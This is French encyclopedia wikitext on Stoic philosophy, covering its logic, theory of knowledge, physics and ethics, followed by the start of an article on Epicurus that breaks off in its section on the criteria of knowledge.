Toutes les choses se meuvent et sont dans le temps qui est infini dans les deux directions du passé et du futur. Mais le temps a deux sens : en un sens large, seul le présent est là, existe réellement pour ainsi dire, bien qu'il soit incorporel. Le passé et le futur sont alors des êtres subsistants, car ils ne sont pas là, ils ne sont pas présents. En un sens strict, aucun temps n'est complètement présent, car tout temps est sécable à l'infini. === <center>Tableau récapitulatif</center> === [[Image:Jonisk1.png|right|140px]][[Image:Jonisk1.png|left|140px]] {| border="1" cellpadding="5" align="center" |colspan="8" align="center"|'''[[Sto%C3%AFcisme#Divisions_de_l.27.C3.AAtre|Quelque chose]]''' (en grec ''ti'') |- |colspan="4" style="background:#efefef;" align="center" |'''Corps''' |colspan="4" style="background:#efefef;" align="center" |'''[[Sto%C3%AFcisme#Les_incorporels|Incorporels]]''' |- | '''Substrat''' |'''Qualifié''' |'''Disposé''' |'''Disposé relativement''' |'''[[Sto%C3%AFcisme#Le_dicible_.28ou_exprimable.29|Dicible]]''' |'''[[Stoïcisme#Le vide|Vide]]''' |'''Lieu''' |'''[[Stoïcisme#Le temps|Temps]]''' |- |} == La [[logique]] == {| align="left" width="170px" cellpadding="8" style="border: 1px solid #999; margin-right: 2em" | <center>'''Sommaire de la section'''</center> ---- *[[Stoïcisme#La rhétorique|La rhétorique]] <br /> *[[Stoïcisme#La dialectique|La dialectique]]<br /> *[[Stoïcisme#Le dicible (ou exprimable)|Les dicibles]]<br /> *[[Stoïcisme#Les propositions|Les propositions]] **[[Stoïcisme#Les propositions simples|Propositions simples]] **[[Stoïcisme#Les propositions non simples|Propositions non simples]] *[[Stoïcisme#Raisonnement et démonstration|Raisonnement et démonstration]]<br /> |} *''Note sur la formalisation des raisonnements : dans cette section, certains raisonnements des Stoïciens sont formalisés à l'aide de symboles modernes ; on peut recommander au lecteur de lire l'article [[Calcul des propositions]] pour une introduction à cette logique.'' Certains Stoïciens ([[Diogène Laërce]], VII, 41) divisent la logique en deux parties : la [[dialectique]] et la [[rhétorique]] ; d'autres y ajoutent ce qui concerne les définitions et les critères. === La rhétorique === La [[rhétorique]] est la science du bien parler dans les discours. Elle se divise en trois parties : parlementaire, judiciaire et [[panégyrique]], ou en invention, énonciation, plan et mise en scène. Ils divisent le discours rhétorique en préambule, narration, réplique aux adversaires, épilogue. === La dialectique === [[Diogène Laërce]] (VII, 41 - 44) donne deux définitions stoïciennes de la dialectique : *la dialectique est la science de la discussion correcte dans les discours par questions et réponses ; *la dialectique est la science de ce qui est vrai, de ce qui est faux, et de ce qui n'est ni l'un ni l'autre. Elle se divise en deux lieux : les signifiés et les émissions vocales ; le lieu des signifiés se divise à son tour en impressions et dicibles dérivées des impressions (cette partie est exposée à partir de la section suivante). Le lieu des émissions vocales concerne l'articulation selon les lettres, distingue les parties du discours, traite des [[solécisme]]s, des [[barbarisme]]s, etc. === Les dicibles === La notion de discible est le fondement de la logique stoïcienne ; c'est un incorporel et, en tant que tel, il a été traité dans la section [[Sto%C3%AFcisme#Le_dicible_.28ou_exprimable.29|Le dicible]] de cet article. === Les propositions === [[Chrysippe]], dans ses ''Définitions dialectiques'' (cité par [[Diogène Laërce]], VII, 65), définit la proposition comme « ce qui est vrai ou faux, ou un état de choses complet qui, pour autant qu'il est lui-même concerné, peut être asserté. » Ainsi, pour que quelque chose soit vrai ou faux, il doit être un dicible, un dicible complet, un dicible complet qui est une proposition. ([[Sextus Empiricus]], ''Contre les professeurs'', VIII, 74). Une proposition est ou vrai ou fausse ; une proposition qui n'est pas vraie est donc fausse ([[Cicéron]], ''Du destin'', 38). La contradictoire d'une proposition est une proposition qui l'excède d'une négation : « Il fait jour » « Non Il fait jour » (formalisable en : p ~p). Une proposition vraie est ce qui est, et une proposition fausse est ce qui n'est pas ([[Sextus Empiricus]], ''Contre les professeurs'', VIII, 84) : :« Quelqu'un dit « il fait jour » semble proposer qu'il fait jour. Dès lors, s'il fait jour, la proposition avancée se révèle vraie, et sinon, elle se révèle fausse. » ([[Diogène Laërce]], VII, 65). La distinction la plus générale entre les propositions est celle qui sépare propositions simples et propositions non simples ([[Sextus Empiricus]], ''Contre les professeurs'', VIII, 93 - 98). ==== Les propositions simples ==== « Sont simples les propositions qui ne sont pas composées à partir d'une proposition unique énoncée deux fois ; par exemple, « il fait jour », « il fait nuit », « Socrate parle » [...] » ([[Sextus Empiricus]], ''Contre les professeurs'', VIII, 93 - 98). Les Stoïciens distinguent trois types de propositions simples : les définies, les indéfinies, les intermédiaires. *Les propositions définies s'expriment par une référence ostensive. Exemple : « Celui-ci est assis. » *Les propositions indéfinies ont pour sujet une particule indéfinie. Exemple : « Quelqu'un est assis. » *Les propositions intermédiaires ne sont ni indéfinies (elles déterminent le sujet), ni définies (elle ne sont pas ostensives). Exemple : « Socrate marche ». Les Stoïciens discernent des rapports de dépendance quant à la [[vérité]] entre ces types de propositions : par exemple, si une proposition définie est vraie, la proposition indéfinie qui peut en être dérivée est également vraie. Exemple : « Celui-ci marche » est vraie ; donc « quelqu'un marche » est vraie. [[Diogène Laërce]] donne les distinctions suivantes (VII, 69) : les propositions simples peuvent être négatives, négatives assertoriquement, privatives, assertorique, démonstratives et indéfinies. *Une proposition simple négative est composée d'une négation et d'une proposition : « Non il fait jour » (~p). La double négative en est une espèce : « Non : Non : il fait jour » (~~p), qui revient à « Il fait jour » (p). *Une proposition simple négative assertoriquement est composée d'une particule négative et d'un prédicat : « Personne ne marche ». *Une proposition privative est composée d'une particule négative et d'une proposition en puissance. *Une proposition assertorique est composée d'un cas nominatif et d'un prédicat. Exemple : « Dion marche. » *Une proposition démonstrative est composée d'un cas nominatif ostensif et d'un prédicat. Exemple : « Celui-ci marche. » *Une proposition indéfinie est composée d'une ou plusieurs particules indéfinies et d'un prédicat. Exemple : « Quelqu'un marche ». ==== Les propositions non simples ==== === Raisonnement et démonstration === Selon [[Diogène Laërce]] (VII, 76 - 81) les Stoïciens appellent argument (en grec ''logos'') ce qui est constitué par une ou plusieurs prémisses (en grec ''lèmma''), une prémisse additionnelle et une conclusion. Exemple : : « S'il fait jour, il fait clair ; mais il fait jour ; donc il fait clair » (formalisable en : ((p ⊃ q) ∧ p) ⊃ q). Parmi les arguments, certains sont valides, d'autres invalides : *sont invalides ceux dont l'opposé de la conclusion ne sont pas en contradiction avec la conjonction des prémisses ; *il y a deux sortes de raisonnements valides : **ceux qui sont simplement valides ; **ceux qui sont syllogistiques : ceux-ci sont soit indémontrables, soit réductibles aux indémontrables. ==== L'implication ==== == La [[théorie de la connaissance]] == === Les impressions === La [[vérité]] et la [[certitude]] sont dans la perception les plus communes qu'il s'agit de systématiser. Ainsi la [[connaissance]] part-elle de la [[représentation]], ou image (phantasia), impression d'un objet réel dans l'[[âme]] (comme le cachet dans la cire pour Zénon). C'est là un premier [[jugement]] sur les choses auquel peut être ou non donné volontairement un assentiment par l'âme : si celle-ci est dans le vrai, elle a alors une compréhension, ou perception (katalepsis) de l'objet qui est immédiate : une certitude des choses en tant que telles. La sensation est donc distincte de l'image puisqu'elle est un acte de l'[[esprit]]. Pour que la perception soit vraie, l'image doit être fidèle. L'image fidèle, en tant que critère de la vérité, est appelée représentation compréhensive. Elle est passive, mais capable de produire l'assentiment vrai et la [[perception]]. === Les critères de la vérité === La science sera alors la perception solide et stable, inébranlable par la [[raison]] : solidité due à l'appui des certitudes entre elles, à leurs accords rationnels. Ainsi la perception sûre et totale est la science systématique et rationnelle, système de perceptions rassemblées par l'expérience visant à une fin particulière utile à la [[vie]]. En dehors de ces réalités sensibles, il n'y a pas d'autres connaissances. Pourtant, à côté des choses sensibles, il y a ce qu'on peut en dire. Ainsi la dialectique porte-t-elle sur les énoncés qui sont vrais ou faux, relatifs aux choses. Ces énoncés se disent sous la forme d'un sujet et d'un attribut exprimé par un verbe : Socrate se promène. C'est un jugement simple qui exprime un rapport entre des faits, celui-ci s'exprimant par un jugement complexe : s'il fait clair, il fait jour. Il s'agit donc d'une liaison de fait entre un antécédent et un conséquent. === Les critiques === == La [[physique]] == === Les principes de la physique stoïcienne === Selon [[Diogène Laërce]] (VII, 132), les Stoïciens divisent la physique en général en trois domaines : le monde, les éléments, la recherche des causes. Mais l'étude de la nature est aussi divisée selon des lieux spécifiques : les corps ; les principes ; les éléments ; les dieux ; enfin les limites, le lieu et le vide. ==== Le monde et la nature ==== Le monde est totalement dominé par la [[raison]] et a en conséquence à chaque instant la plénitude de sa perfection. Par là on voit que l'activité de la raison est corporelle : seul existe ce qui a la capacité d'agir ou de pâtir (i. e. les [[corps]]). Or, la raison agit, donc elle est un corps. Ce qui subit la domination de la raison sera aussi un corps, la [[matière]]. Voilà les deux principes de la physique : l'un est la [[cause]] unique, l'autre reçoit cette causalité sans faire de résistance. Ces deux corps s'unissent donc et forment le mélange total qui explique l'action d'un souffle matériel ('''pneuma''') traversant la [[matière]] pour l'animer. ==== Les éléments ==== === Le cycle cosmique === L'ensemble du [[monde]] a un cycle : le feu, ou force active ([[Zeus]]), absorbe et réduit en lui-même toutes les choses. Tout recommence ensuite à l'identique, après la fin du [[monde]] dans une conflagration où toutes choses sont rentrées dans la substance divine. Cette conflagration est une purification du monde : l'âme du monde absorbe toute la matière en restituant un état parfait par un changement conforme à la nature. Du feu primitif, naissent les quatre éléments et le monde naît sous l'action d'un souffle divin. Ensuite, par la fragmentation du souffle, naissent les êtres individuels qui forment le système du monde. C'est ce souffle qui fait l'unité du monde, en le parcourant et en maintenant ses parties. Ce souffle est une [[force]], une [[pensée]] et une raison qui contient tout et fait que sous l'action de sa tension l'être existe. Ce souffle crée une sympathie entre toutes les parties du monde. Quant à la [[Terre]], elle est au centre, pressée de tout côté par l'air. === La causalité et le destin === Tout ce qui arrive est conforme à la nature universelle, puisque tout agit suivant une cause totale, qui lie toutes les causes entre elles. === La théologie === === La psychologie === == L'[[éthique]] == {| align="left" width="190px" cellpadding="8" style="border: 1px solid #999; margin-right: 2em" | <center>'''Sommaire de la section'''</center> ---- *[[Stoïcisme#Les fonctions propres|Les fonctions propres]] <br /> *[[Stoïcisme#Le bien|Le bien]]<br /> *[[Stoïcisme#La vertu|La vertu]]<br /> *[[Stoïcisme#Les passions|Les passions]] *[[Stoïcisme#Finalité de l'éthique|Finalité de l'éthique]] *[[Stoïcisme#Le sage|Le sage]] *[[Stoïcisme#La politique|La politique]]<br /> |} L'éthique stoïcienne est en accord avec cette physique. Nous connaissons plusieurs divisions de l'éthique stoïcienne : :« [Ils] divisent la partie éthique de la philosophie en plusieurs ''lieux'' : de l'impulsion, des biens et des maux, des passions, de la vertu, de la fin, de la valeur première et des actions, des fonctions propres, de ce qu'il faut conseiller et ce qu'il faut déconseiller. » ([[Diogène Laërce]], VII, 84). Diogène indique que cette division n'appartient pas au stoïcisme le plus ancien ([[Zénon de Kition]] et [[Cléanthe]] qui en ont traité, selon lui, de manière plus simple), mais à [[Chrysippe]], [[Apollodore]], [[Posidonios]], etc. [[Sénèque]] (''Lettres'', 89, 14) nous apprend une tripartition de l'éthique stoïcienne : :« [...] vient en premier la valeur que tu attribues à chaque chose, en second l'impulsion, ordonnée et mesurée, que tu as vers les choses, en troisième la réalisation d'une convenance entre ton impulsion et ton acte, de façon qu'en toutes ces occasions tu sois en accord avec toi-même. » [[Épictète]] indique trois sujets de l'éthique (''Entretiens'', III, 2), mais qui se rapportent aux exercices que l'on doit suivre pour devenir homme de bien : *les désirs et les aversions : ne pas manquer ce que l'on désire, ne pas tomber sur l'objet de l'aversion ; *les impulsions et les répulsions, i.e. ce qui concerne la fonction propre (agir avec ordre, raisonnablement et sans négligence) ; *éviter l'erreur et la précipitation, i.e. ce qui concerne l'assentiment. === Les fonctions propres === L'expression ''fonction propre'' traduit le grec ''kathèkon'', qui signifie « convenable », « devoir » (''officium'' en latin). Ce mot a été utilisé pour la première fois en ce sens par [[Zénon]], vraisemblablement dans un ouvrage nommé ''De la fonction propre'' ([[Diogène Laërce]], VII 107). Selon Diogène, ce terme est dérivé de ''kata tinas hêkein'', « convenir à certains » ; il définit la fonction propre comme ''une activité qui est appropriée aux constitutions conformes à la nature'' (''Ibid.''). Cette notion est le fondement de l'éthique stoïcienne ; en effet : :« Archédème disait que la fin consiste à vivre en amenant les fonctions propres à leur perfection. » ([[Diogène Laërce]], VII, 88). [[Stobée]] (II, 85, 13 - 86) donne cette définition de la fonction propre : :« La conséquentialité dans la vie, quelque chose qui, une fois qu'il a été accompli, a une justification raisonnable. » Les fonctions propres s'appliquent aux plantes, aux animaux comme aux hommes. Les Stoïciens distinguent deux types de fonctions propres, celles qui sont parfaites, et celles qui sont intermédiaires. Cicéron, dans ''Des termes extrêmes des biens et des maux'' (III), nous livre une analyse détaillée de cette notion par la bouche de [[Caton]]. Nous aimons les premiers objets qui sont appropriés par nature ; ainsi préférons-nous que les parties de notre corps soient bien disposées et entières plutôt qu'affaiblies et déformées. Nous savons donc de manière spontanée distinguer ce qui est conforme à la nature de ce qui lui est contraire : le premier penchant de l'homme le porte vers les choses qui sont conformes à la nature. De là, cette distinction : ce qui a de la valeur est en accord avec la nature et, pour cette raison, est digne d'être sélectionné. Le contraire est dépourvu de valeur et doit être rejeté. La première des fonctions propres est de nous conserver nous-mêmes. Ainsi notre [[corps]] se développe-t-il en appropriant ses propres [[faculté]]s. === Le bien === Les premiers [[bien]]s sont la [[santé]], le bien-être et tout ce qui peut nous être [[utile]]. Mais ce ne sont pas des biens au sens [[absolu]]. Le bien absolu se suffit à lui-même, il est le suprêmement utile. Il est découvert rationnellement par notre assentiment spontané à nos inclinations. Et c'est en considérant la nature universelle, en saisissant la [[volonté]] de la nature totale à se conserver que l'on comprend le bien comme [[raison]] universelle. === La vertu === Pour les Stoïciens, [[vertu]] et bien sont identiques. La vertu est désirable pour elle-même et est parfaite : elle est donc atteinte d'un coup, d'une manière complète, i. e. avec toutes ses parties. Ses parties sont, selon [[Zénon de Citium]], des aspects d'une vertu fondamentale, la [[prudence]]. Qui a une vertu, les a toutes. === Les passions === Mais les inclinations naturelles se pervertissent, sous l'influence du milieu social, et troublent l'[[âme]] : ce sont les [[passion]]s. Pourtant, si l'âme est rationnelle, toute inclination n'est possible que si elle reçoit l'assentiment de la [[raison]]. Comment expliquer les passions ? La passion est une raison irrationnelle, un [[jugement]] qui nous dépossède de notre maîtrise : l'[[habitude]] et l'[[éducation]] nous persuadent par exemple que toute douleur est un [[mal]]. Mais ressentir la douleur physique et en éprouver de la peine (mal moral) sont deux choses différentes. Ainsi le stoïcisme montre que les passions sont de mauvaises raisons de croire. L'opposition radicale entre raison et passions qu'on lui attribue n'est donc pas exacte : si les passions sont mauvaises, ce n'est pas en tant qu'elles sont différentes par nature de la raison, mais parce qu'elles sont plutôt des raisons égarées ; à l'inverse, la raison peut-être vue comme une passion droite. === Finalité de l'éthique === La [[morale]] stoïcienne peut donc se résumer ainsi : *le fondement de la [[vie]] morale, c'est la vie des instincts, qui nous font agir suivant l'utile ; *la fin de cette morale, c'est de vivre par des choix conformes à la raison universelle : vivre en suivant la nature, puisque tout arrive par la raison universelle. === Le sage === À partir de là, les Stoïciens définissent un modèle parfait de conduite, incarné par le sage : *le sage choisit ce qui est conforme à la nature ; *il accomplit un [[devoir]] parfait ; i. e. il accomplit sa fonction propre ; *le sage est parfait en toute chose ; *tous les autres [[homme]]s sont des ''insensés'' (stulti en latin) Il n'y a pas de nuance entre la perfection du sage et le caractère insensé de la vie de tous les [[homme]]s. On peut donc dire que le stoïcisme recherche une transformation de l'homme dans sa totalité : un homme purement rationnel, non pas parce que ses passions seraient éteintes, mais parce qu'elles seraient elles-mêmes raison. === La politique === [[Image:Marcus aurelius.jpg|thumb|right|160px|[[Marc Aurèle]]]] Dans la section [[Sto%C3%AFcisme#Division_de_la_philosophie|sur les divisions de la philosophie]], nous avons vu que [[Cléanthe]] faisait de la politique une division à part entière de la philosophie. Nous savons également que [[Zénon de Kition]] écrivit un livre sur la ''République'' particulièrement célèbre et admiré dans l'[[Antiquité]]. [[Plutarque]] nous en donne une idée par la description du but visé dans cet ouvrage perdu : :« La ''République'', ouvrage très admiré de Zénon, tend à ce point principal unique, que nous ne devrions pas vivre répartis en cités ni en peuples, chacun défini par ses propres critères de la justice, mais que nous devrions considérer tous les hommes comme des compatriotes et des concitoyens, et qu'il y ait un mode de vie et un monde uniques, comme pour un troupeau nourri ensemble dans le même pâturage sous une loi commune. Zénon a écrit cela comme s'il avait brossé le tableau d'un songe ou d'une image représentant une bonne législation et une république philosophiques. » (''De la fortune d'Alexandre'', 329 A - B). == Influence du stoïcisme == L'influence du stoïcisme sur les cultures grecque et romaine est considérable. == Principales périodes du stoïcisme == * Ancien stoïcisme * Moyen stoïcisme * Stoïcisme latin == Bibliographie == === Editions === * ''Stoïcorum Veterum Fragmenta'', Ed. de J. von Arnim, 4 vol. Leipzig, 1903-1904 * ''Les Stoïciens : Diogène Laërce, Plutarque, Cicéron, Sénèque, Épictète, Marc Aurèle'', P.-M. Schuhl et É. Bréhier éd., coll. La Pléiade, Gallimard, Paris, 1962 * ''Les Stoïciens'', choix de textes, J. Brun éd., P.U.F., Paris, 1966 * ''Les Philosophes hellénistiques'', tome II, Les Stoïciens, Long et Sedley, Cambridge University Press, 1987 (Flammarion, Paris, 2001, traduction française). Toutes les citations de cet article sont empruntées à cette ouvrage. === Sources === *[[Cicéron]], ''Premiers Académiques'' *[[Cicéron]], ''Des fins des biens et des maux'' (livre III) [<small>[http://remacle.org/bloodwolf/philosophes/Ciceron/finibus3.htm lire en ligne]</small>] *[[Cicéron]], ''Tusculanes'' [<small>[http://remacle.org/bloodwolf/philosophes/Ciceron/tusc1.htm lire en ligne]</small>] *[[Cicéron]], ''De la nature des dieux'' [<small>[http://remacle.org/bloodwolf/philosophes/Ciceron/nature1.htm lire en ligne]</small>] *[[Cicéron]], ''Du destin'' [<small>[http://remacle.org/bloodwolf/philosophes/Ciceron/fato.htm lire en ligne]</small>] *[[Cléanthe]], ''[[Hymne à Zeus]]'' [<small>[http://lucadeparis.free.fr/anthoweb/-0312cleanthe.htm lire en ligne]</small>] *[[Diogène Laërce]], ''[[Vies, doctrines et sentences des philosophes illustres]]'', VII [<small>[http://www.nimispauci.com/index.php#Laerce lire en ligne]</small>] *[[Épictète]], ''Entretiens'' *[[Épictète]], ''Manuel'' [<small>[http://www.cvm.qc.ca/encephi/menus/TEXTES.HTM#%E9pict%E8te Lire en ligne]</small>] *[[Marc Aurèle]], ''Pensées pour moi-même'' [<small>[http://visualiseur.bnf.fr/CadresFenetre?O=NUMM-94331&M=pagination&Y=Image Lire en ligne]</small>] *[[Plutarque]], ''Des contradictions des Stoïciens'' [<small>[http://visualiseur.bnf.fr/Image/CadresPage?O=NUMM-53612&I=1140&Y=Image Lire en ligne, traduction de Amyot, 1575]</small>] *[[Plutarque]], ''Des notions communes, contre les Stoïciens'' [<small>[http://visualiseur.bnf.fr/Image/CadresPage?O=NUMM-53612&I=1166&Y=Image Lire en ligne, traduction de Amyot, 1575]</small>] *[[Sénèque le Jeune|Sénèque]], voir la [[Sénèque_le_Jeune#.C5.92uvres|liste de ses œuvres]] ; [<small>[[Wikisource:Auteur:Sénèque|Lire en ligne]]</small>] *[[Sextus Empiricus]], ''Contre les professeurs'' === Etudes === * Baillot F., ''Aperçus sur le stoïcisme'', Revue philosophique, janv.-mars, p. 14-30, 1952. * Bevan E., ''Stoïciens et sceptiques'', Paris, 1927. * Bréhier Emile, ''Chrysippe et l'ancien stoïcisme'' (Paris, 1910, rééd, 1951). * Bréhier Emile, ''La théorie des incorporels dans l'ancien stoïcisme'' (Paris, 1907, rééd. 1953). * Bréhier Emile, ''Etudes de philosophie antique'', Paris, 1955. * Bridoux A., ''Le Stoïcisme et son influence, Paris'', Vrin, 1965. * Brochard Victor, ''Etudes de philosophie ancienne et moderne.'' (Vrin, Paris, 1974). * Brun J., ''Le Stoïcisme'', Paris, 1958, 2° ed., 1961. * Brunschwig J. ''Les Stoïciens et leur logique'' (Paris, 1978). * Daraki M. ''Une religiosité sans Dieu : essai sur les Stoïciens d'Athènes et saint Augustin'', Paris, 1989). * Duhot Jean-Joël, ''La conception stoïcienne de la causalité'', Paris, 1989. * Duhot Jean-Joël, "Epictète et la sagesse stoïcienne", Bayard, 1996, rééd. poche, Albin Michel, 2003. * Goldschmidt Victor, ''Le système stoïcien et l'idées de temps'', Vrin, 1953, e éd. augm. 1979. * Hamelin O., ''Sur la logique des stoïciens'', Année philosophique, 1902. * Laffranque M., Poseidonios d'Apamée, P.U.F., 1964. * Lévy Carlos, Les Philosophies hellénistiques (Livre de poche, 1997). * Marha C., ''Les Moralistes sous l'empire romain'', Paris, 1900. * Meyer H., ''Le prolongement de la logique stoïcienne dans la logique contemporaine'', Revue philosophique, III, p. 387, 1956. * Moreau J., ''L'Âme du monde de Platon aux stoïciens'', Paris, 1939. * Moreau J., ''Epictète'', Paris, Seghers. * Ogereau V., ''Essai sur le système des Stoïciens'', Paris, 1885. * Ravaison F., ''Essai sur le stoïcisme'', Académie des inscription et Belles Lettres, Paris, 1857 * [[Renan]] E., ''Marc-Aurèle et la fin du monde antique'', Paris, 1881. * Robin L., ''La Morale antique, Paris, 1938''. * Rodis-Lewis G., ''La Morale stoïcienne'', P.U.F., 1970. * Schuhl P.-M., ''Le Dominateur et les possibles'', P.U.F., 1960. * Virieux-Reymond A., ''La logique et l'épistémologie des stoïciens'', Chambery, s. d., 1949. * Voelke A. J., ''L'idée de volonté dans le stoïcisme'', Paris, PUF, 1973. == Voir aussi == {{PhiloAntiquite}} *[[épicurisme|Épicurisme]] *[[Raison]] {{stoïcisme}} == Liens externes == * [http://www.leportique.net/ Le Portique.net] * [http://perso.wanadoo.fr/fatalisme/stoicum.htm Fatum stoicum] * [http://perso.wanadoo.fr/fatalisme/fatalisme.htm Liberté et responsabilité morale dans le stoïcisme] [[Catégorie:Philosophe]] Épicure 3799 31071 2006-02-01T07:04:31Z Marc 66 /* Liens externes */ '''Épicure''', en grec Ἐπίκουρος, (fin -342 ou début -341 /-270), philosophe grec né à Athènes, fondateur de l'épicurisme, l'une des plus importantes Liste des philosophes par école|écoles philosophiques de l'Antiquité. == Biographie == === La vie et l'éducation d'Épicure === '''Épicure''', selon l'opinion la plus courante rapportée par Diogène Laërce, est né à Athènes, dans le dème de Gargettios. Son père, Néoclès, enseignait la grammaire, et sa mère, Chérestrate était magicienne. Épicure semble avoir été élevé à Samos (peut-être même y est-il né, son père étant un colon athénien), puis il vint à Athènes pour y accomplir son service militaire vers l'âge de 18 ans, avant de partir rejoindre son père à Colophon, au nord de Samos, en -321. Il y resta de -321 à -311 et y reçu probablement les leçons de Nausiphane. Il gagne ensuite Mytilène où il commence à enseigner. Sa philosophie suscite alors l'hostilité (mais il y rencontre son disciple et futur successeur Hermarque), et il part rapidement pour Lampsaque où il vivra de -310 à -306. Il y rencontre Colotès, Métrodore, Idoménée qui le suivront à Athènes. À l'âge de 36 ans, il vint s'installer à Athènes qui venait d'être délivrée par Démétrios Poliocerte, et il y acheta un jardin pour 80 mines. Il y passa le reste de sa vie, et y mourut en 270 av. J.-C. C'est pendant cette dernière période qu'il écrit un très grand nombre de ses œuvres et de ses lettres ; il est l'un de ceux qui ont le plus écrit dans l'Antiquité (300 ouvrages semble-t-il). La vie qu'il mena dans son jardin fut simple et frugale. Selon Dioclès, cité par Diogène Laërce, « un verre de vin lui suffisait, et il buvait de préférence de l'eau. » Le Jardin a pourtant passé pour un lieu de débauche, mais de telles accusations semblent calomnieuses, vu l'habitude des philosophes de lancer des accusations douteuses contre leurs adversaires. Dans l'ensemble de l'histoire de la philosophie, rares sont les philosophes qui auront, comme Épicure, autant souffert de la calomnie. L'image d'Épicure est devenue celle d'un impie et d'un débauché. La vocation de philosophe lui vint très tôt, à 14 ans selon le témoignage de Diogène Laërce, quand, à la lecture d'Hésiode, il demanda à son maître d'où venait le chaos primordial d'où toutes choses sortaient que décrit le poète dans la ''Théogonie (Hésiode)|Théogonie''. Les réponses de son maître ne le satisfaisant pas, il décida de philosopher seul et sans guide, en autodidacte (on lui reprochera plus tard de s'en être vanté). Il reçut pourtant les leçons d'un platonicien, Pamphile, et de Nausiphane et Nausycide, des atomistes. Sa philosophie s'oppose avec force au platonisme et de manière plus mesurée à la doctrine d'Aristote (des fragments nous font voir en Épicure un lecteur consciencieux d'Aristote) ; quant à l'héritage démocritéen, contrairement à une idée reçue depuis l'Antiquité, l'atomisme épicurien n'en est pas une simple copie : en effet, Démocrite est plus proche de Platon et Parménide que d'Épicure (voir plus bas le chapitre sur la physique). === Son caractère, et l'influence de sa pensée === *''Voir aussi les articles Épicurisme'' Épicure voulut s'assurer l'immortalité de son nom, en léguant le Jardin sous la condition que sa philosophie y fût enseignée et qu'on célébrât chaque mois une fête en son honneur. Il faisait des résumés de ses œuvres et conseillait à ses disciples de les apprendre par cœur. Mais cet orgueil de philosophe mis de côté, Épicure est décrit comme un amitié|ami fidèle et bienveillant, d'un naturel sympathique : « Sa vertu fut marquée en d'illustres caractères, par la reconnaissance et la piété qu'il eut envers ses parents et par la douceur avec laquelle il traita ses esclaves. » C'est Sénèque, un Stoïcisme|Stoïcien, qui dit de sa pratique : « Pour moi, je pense et j'ose le dire contre l'opinion des nôtres, que la morale d'Épicure est saine, droite et même austère pour qui l'approfondit... je dis qu'elle est décriée sans l'avoir mérité. » (''De vita beata''). La doctrine d'Épicure eut un succès prodigieux, tant par le nombre de ses disciples, que par l'affection et les forts sentiments dont elle fut l'objet : « Le charme de cette doctrine égalait la douceur des sirènes. » Elle gagna Rome et toute l'Italie, avec Lucrèce notamment, qui est considéré comme l'un des rares poètes (sinon le seul) à avoir réussi à mettre de la philosophie en vers. La popularité de l'épicurisme contraste avec la diffusion plus faible des doctrines des autres philosophes de l'Antiquité. Le stoïcisme apparaît réservé à des individus capables d'une discipline peu commune, et le platonisme se diffuse surtout dans les milieux cultivés. On a parfois rapproché Épicure de Jésus, en soutenant que ces deux hommes faisaient figure de sauveurs aux yeux du peuple ; et, en effet, les consolations apportées par Épicure sont chantées par Lucrèce comme des dons divins, propres à régénérer l'homme tourmenté par les passions, les superstitions, la peur des dieux, etc. C'est pourquoi certains philosophes, tel que Nietzsche, n'hésitent pas à voir en cette pensée une sorte de christianisme païen, i.e. une pensée rédemptrice mais sans la notion de péché propre à cette dernière religion. Malgré cette œuvre considérable, bien qu'Épicure eût élaboré l'une des doctrines cardinales de l'histoire de la civilisation européenne (une autre, la plus opposée, étant le stoïcisme), il ne nous reste que trois lettres de ce grand et puissant philosophe (''Lettre à Hérodote'', ''Lettre à Pythoclès'' et ''Lettre à Ménécée''), et quelques maximes (40 Maximes Capitales et 81 Sentences Vaticanes) découvertes pour la plupart à la fin du XIXe siècle. Des fragments du ''De la nature'' (''Peri phuseos'') furent également découverts à Herculanum en 1752 (à une époque où la morale épicurienne, longtemps combattue, revenait en force). == L'épicurisme == La doctrine d'Épicure peut être résumée par ce que les épicuriens ont appelé le ''tetrapharmakos'' (quadruple-remède) formulé ainsi : :''« Le dieu n'est pas à craindre ; la mort ne donne pas de souci ; et tandis que le bien est facile à obtenir, le mal est facile à supporter. »'' Le nom de ''pharmacie'' indique la finalité de la pensée épicurienne : il faut guérir les hommes des maux qui les accablent. Si la présentation de l'épicurisme dans cet article suit une division classique de la philosophie, sa finalité ultime devra être toujours gardée à l'esprit. === Théorie de la connaissance (ou gnoséologie)=== ==== Contexte philosophique ==== Épicure élabore une théorie de la connaissance qui se fonde sur les sens, sur la véracité des sensations qui garantissent seules que nous connaissons la réalité. Il invente également la théorie des prénotions : nous formons en nous des concepts à partir d'expériences répétées. Ces prénotions donnent un point de départ à la réflexion humaine sans pourtant recourir à l'hypothèse platonicienne d'une réminiscence des Idées intelligibles. La question de la fiabilité des sensations est particulièrement débattue par les philosophes hellénistiques. Soit les sensations sont toutes fausses (thèse scepticisme|sceptique), soit certaines sont vraies et certaines sont fausses, soit elles sont toutes vraies. La thèse sceptique est contradictoire : il faudrait pour la valider un critère supérieur aux sens ; or la raison est dépendante des sens car nos concepts viennent de l'expérience sensible. La seconde thèse est également impossible, car il faut un critère pour distinguer une sensation fausse d'une sensation vraie. Mais, pour Épicure, il n'y a pas de critère en dehors des sens, et une sensation ne peut réfuter une autre sensation, car les sens sont différents entre eux. Les sens ne peuvent donc se contredire. Il ne reste donc que la thèse selon laquelle toutes les sensations sont vraies. Ce point sera développé dans la canonique : la canonique est la première partie de la philosophie d'Épicure, et elle porte sur les critères (canon) de la vérité. Elle consiste en quatre sortes d'évidence. ==== Les quatre évidences ==== *la '''passion''' ou '''affection''' (pathos), évidence du plaisir et de la douleur. Le plaisir nous fait connaître une cause de plaisir, et la souffrance, une cause de souffrance. L'agréable et le pénible sont donc des critères de la vérité non seulement de l'état passif, mais aussi de sa cause. *la '''sensation''' ou '''impression sensible''' : c'est un état passif de la sensation, né du contact avec les choses, et qui nous fait connaître avec certitude la cause active et productrice. Cet état, en effet, par définition (la sensation est irrationnelle et sans mémoire), ne peut agir par lui-même et modifier ce qui nous touche de l'extérieur ; la sensation ne réagit que si elle est excitée par une cause extérieure qui existe donc nécessairement. En conséquence, les objets sont tels qu'ils nous apparaissent puisque toutes les sensations sont d'après ce critère également vraies : « Dire qu'une sensation est fausse reviendrait à dire que rien ne peut être perçu. » (Cicéron, Premiers Académiques). L'erreur, dans cette théorie, sera expliquée par le jugement de la raison : les illusions des sens ne sont pas dans nos représentations, mais dans ce que nous y ajoutons par nos jugements, nos raisonnements, nos souvenirs, etc. ; mais, en tout cas, il est impossible de prouver la fausseté de la sensation sans commettre une pétition de principe ou une erreur de catégorie. Nos jugements s'appliquent à deux sortes d'objet, ceux qui peuvent être confirmés par l'expérience (la vérification du jugement est possible), et ceux qui ne relèvent pas vraiment de l'expérience, 